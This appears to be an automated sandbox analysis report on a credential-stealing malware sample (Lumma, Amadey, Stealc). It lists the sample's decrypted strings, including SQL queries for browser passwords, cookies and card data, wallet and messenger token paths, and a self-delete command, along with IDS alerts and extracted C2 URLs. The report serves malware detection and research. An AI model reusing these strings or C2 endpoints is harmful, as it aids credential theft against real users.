Source: 32.0.num.exe.160000.0.unpack	String decryptor: NSS_Init
Source: 32.0.num.exe.160000.0.unpack	String decryptor: NSS_Shutdown
Source: 32.0.num.exe.160000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 32.0.num.exe.160000.0.unpack	String decryptor: PK11_FreeSlot
Source: 32.0.num.exe.160000.0.unpack	String decryptor: PK11_Authenticate
Source: 32.0.num.exe.160000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 32.0.num.exe.160000.0.unpack	String decryptor: C:\ProgramData\
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 32.0.num.exe.160000.0.unpack	String decryptor: browser:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: profile:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: url:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: login:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: password:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Opera
Source: 32.0.num.exe.160000.0.unpack	String decryptor: OperaGX
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Network
Source: 32.0.num.exe.160000.0.unpack	String decryptor: cookies
Source: 32.0.num.exe.160000.0.unpack	String decryptor: .txt
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
Source: 32.0.num.exe.160000.0.unpack	String decryptor: TRUE
Source: 32.0.num.exe.160000.0.unpack	String decryptor: FALSE
Source: 32.0.num.exe.160000.0.unpack	String decryptor: autofill
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 32.0.num.exe.160000.0.unpack	String decryptor: history
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SELECT url FROM urls LIMIT 1000
Source: 32.0.num.exe.160000.0.unpack	String decryptor: cc
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 32.0.num.exe.160000.0.unpack	String decryptor: name:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: month:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: year:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: card:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Cookies
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Login Data
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Web Data
Source: 32.0.num.exe.160000.0.unpack	String decryptor: History
Source: 32.0.num.exe.160000.0.unpack	String decryptor: logins.json
Source: 32.0.num.exe.160000.0.unpack	String decryptor: formSubmitURL
Source: 32.0.num.exe.160000.0.unpack	String decryptor: usernameField
Source: 32.0.num.exe.160000.0.unpack	String decryptor: encryptedUsername
Source: 32.0.num.exe.160000.0.unpack	String decryptor: encryptedPassword
Source: 32.0.num.exe.160000.0.unpack	String decryptor: guid
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 32.0.num.exe.160000.0.unpack	String decryptor: cookies.sqlite
Source: 32.0.num.exe.160000.0.unpack	String decryptor: formhistory.sqlite
Source: 32.0.num.exe.160000.0.unpack	String decryptor: places.sqlite
Source: 32.0.num.exe.160000.0.unpack	String decryptor: plugins
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Local Extension Settings
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Sync Extension Settings
Source: 32.0.num.exe.160000.0.unpack	String decryptor: IndexedDB
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Opera Stable
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Opera GX Stable
Source: 32.0.num.exe.160000.0.unpack	String decryptor: CURRENT
Source: 32.0.num.exe.160000.0.unpack	String decryptor: chrome-extension_
Source: 32.0.num.exe.160000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Local State
Source: 32.0.num.exe.160000.0.unpack	String decryptor: profiles.ini
Source: 32.0.num.exe.160000.0.unpack	String decryptor: chrome
Source: 32.0.num.exe.160000.0.unpack	String decryptor: opera
Source: 32.0.num.exe.160000.0.unpack	String decryptor: firefox
Source: 32.0.num.exe.160000.0.unpack	String decryptor: wallets
Source: 32.0.num.exe.160000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 32.0.num.exe.160000.0.unpack	String decryptor: ProductName
Source: 32.0.num.exe.160000.0.unpack	String decryptor: x32
Source: 32.0.num.exe.160000.0.unpack	String decryptor: x64
Source: 32.0.num.exe.160000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 32.0.num.exe.160000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 32.0.num.exe.160000.0.unpack	String decryptor: ProcessorNameString
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 32.0.num.exe.160000.0.unpack	String decryptor: DisplayName
Source: 32.0.num.exe.160000.0.unpack	String decryptor: DisplayVersion
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Network Info:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - IP: IP?
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - Country: ISO?
Source: 32.0.num.exe.160000.0.unpack	String decryptor: System Summary:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - HWID:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - OS:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - Architecture:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - UserName:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - Computer Name:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - Local Time:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - UTC:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - Language:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - Keyboards:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - Laptop:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - Running Path:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - CPU:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - Threads:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - Cores:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - RAM:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - Display Resolution:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: - GPU:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: User Agents:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Installed Apps:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: All Users:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Current User:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Process List:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: system_info.txt
Source: 32.0.num.exe.160000.0.unpack	String decryptor: freebl3.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: mozglue.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: msvcp140.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: nss3.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: softokn3.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: vcruntime140.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: \Temp\
Source: 32.0.num.exe.160000.0.unpack	String decryptor: .exe
Source: 32.0.num.exe.160000.0.unpack	String decryptor: runas
Source: 32.0.num.exe.160000.0.unpack	String decryptor: open
Source: 32.0.num.exe.160000.0.unpack	String decryptor: /c start
Source: 32.0.num.exe.160000.0.unpack	String decryptor: %DESKTOP%
Source: 32.0.num.exe.160000.0.unpack	String decryptor: %APPDATA%
Source: 32.0.num.exe.160000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 32.0.num.exe.160000.0.unpack	String decryptor: %USERPROFILE%
Source: 32.0.num.exe.160000.0.unpack	String decryptor: %DOCUMENTS%
Source: 32.0.num.exe.160000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 32.0.num.exe.160000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 32.0.num.exe.160000.0.unpack	String decryptor: %RECENT%
Source: 32.0.num.exe.160000.0.unpack	String decryptor: *.lnk
Source: 32.0.num.exe.160000.0.unpack	String decryptor: files
Source: 32.0.num.exe.160000.0.unpack	String decryptor: \discord\
Source: 32.0.num.exe.160000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 32.0.num.exe.160000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 32.0.num.exe.160000.0.unpack	String decryptor: \Telegram Desktop\
Source: 32.0.num.exe.160000.0.unpack	String decryptor: key_datas
Source: 32.0.num.exe.160000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 32.0.num.exe.160000.0.unpack	String decryptor: map*
Source: 32.0.num.exe.160000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 32.0.num.exe.160000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 32.0.num.exe.160000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Telegram
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Tox
Source: 32.0.num.exe.160000.0.unpack	String decryptor: *.tox
Source: 32.0.num.exe.160000.0.unpack	String decryptor: *.ini
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Password
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 32.0.num.exe.160000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 32.0.num.exe.160000.0.unpack	String decryptor: 00000001
Source: 32.0.num.exe.160000.0.unpack	String decryptor: 00000002
Source: 32.0.num.exe.160000.0.unpack	String decryptor: 00000003
Source: 32.0.num.exe.160000.0.unpack	String decryptor: 00000004
Source: 32.0.num.exe.160000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Pidgin
Source: 32.0.num.exe.160000.0.unpack	String decryptor: \.purple\
Source: 32.0.num.exe.160000.0.unpack	String decryptor: accounts.xml
Source: 32.0.num.exe.160000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 32.0.num.exe.160000.0.unpack	String decryptor: token:
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Software\Valve\Steam
Source: 32.0.num.exe.160000.0.unpack	String decryptor: SteamPath
Source: 32.0.num.exe.160000.0.unpack	String decryptor: \config\
Source: 32.0.num.exe.160000.0.unpack	String decryptor: ssfn*
Source: 32.0.num.exe.160000.0.unpack	String decryptor: config.vdf
Source: 32.0.num.exe.160000.0.unpack	String decryptor: DialogConfig.vdf
Source: 32.0.num.exe.160000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 32.0.num.exe.160000.0.unpack	String decryptor: libraryfolders.vdf
Source: 32.0.num.exe.160000.0.unpack	String decryptor: loginusers.vdf
Source: 32.0.num.exe.160000.0.unpack	String decryptor: \Steam\
Source: 32.0.num.exe.160000.0.unpack	String decryptor: sqlite3.dll
Source: 32.0.num.exe.160000.0.unpack	String decryptor: browsers
Source: 32.0.num.exe.160000.0.unpack	String decryptor: done
Source: 32.0.num.exe.160000.0.unpack	String decryptor: soft
Source: 32.0.num.exe.160000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 32.0.num.exe.160000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 32.0.num.exe.160000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 32.0.num.exe.160000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 32.0.num.exe.160000.0.unpack	String decryptor: https
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 32.0.num.exe.160000.0.unpack	String decryptor: POST
Source: 32.0.num.exe.160000.0.unpack	String decryptor: HTTP/1.1
Source: 32.0.num.exe.160000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 32.0.num.exe.160000.0.unpack	String decryptor: hwid
Source: 32.0.num.exe.160000.0.unpack	String decryptor: build
Source: 32.0.num.exe.160000.0.unpack	String decryptor: token
Source: 32.0.num.exe.160000.0.unpack	String decryptor: file_name
Source: 32.0.num.exe.160000.0.unpack	String decryptor: file
Source: 32.0.num.exe.160000.0.unpack	String decryptor: message
Source: 32.0.num.exe.160000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 32.0.num.exe.160000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57806 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:57911 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: c077ee22d1.exe, 0000000B.00000003.2676689966.000000000534B000.00000004.00001000.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2717758485.0000000000EBC000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: my_library.pdb source: c077ee22d1.exe, 0000000B.00000003.2676689966.000000000534B000.00000004.00001000.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2717758485.0000000000EBC000.00000040.00000001.01000000.0000000F.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 910S1Q63XQ87I6P4.exe, 00000002.00000003.1898160326.0000000005380000.00000004.00001000.00020000.00000000.sdmp, 910S1Q63XQ87I6P4.exe, 00000002.00000002.2031394555.0000000000E82000.00000040.00000001.01000000.00000006.sdmp

Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe

Directory queried: number of queries: 1309

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 93MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:63553 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:54420 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:63688 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:65019 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49733 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49735 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:62907 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49736 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49737 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:57639 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:57021 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57770 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:50709 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57778 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:57653
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:64564 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:57773 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:50207 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57789 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57800 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57806 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57817 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57834 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:57830 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:57838 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57852 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:53909 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:52242 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:56720 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:63593 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57873 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:57879 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57880 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57891 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57896 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:57900 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57902 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57907 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57909 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:57898 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:57906 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:57911 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:57913 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49735 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49730 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:57770 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:57770 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:57789 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:57778 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:57778 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:57873 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:57873 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:57880 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:57880 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:57852 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:57911 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:57909 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: crisiwarny.store
